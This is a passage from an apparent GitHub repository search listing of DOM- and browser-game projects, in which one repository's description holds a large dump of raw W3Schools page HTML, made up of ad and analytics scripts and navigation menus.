Found 8,318 repositories(showing 30)
PwnFunction
DOM XSS Game
Shirajuki
Performance comparison of Javascript rendering/game engines: Three.js, Pixi.js, Phaser, Babylon.js, Two.js, Hilo, melonJS, Kaboom, Kaplay, Kontra, Excalibur, Litecanvas, LittleJS, Canvas API and DOM.
sliemeobn
A DOM-rendered WASM game in ~100KB, written in Swift
w1nt3r-eth
Simple on-chain strategy game (work-in-progress)
martatomchuck
MonsterJS - a game for learning JavaScript DOM Selectors while playing!
spirodonfl
My own Zig/WASM version of an old SNES game, using HTML DOM only
hiteshsuthar01
<html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'></i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'></a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn 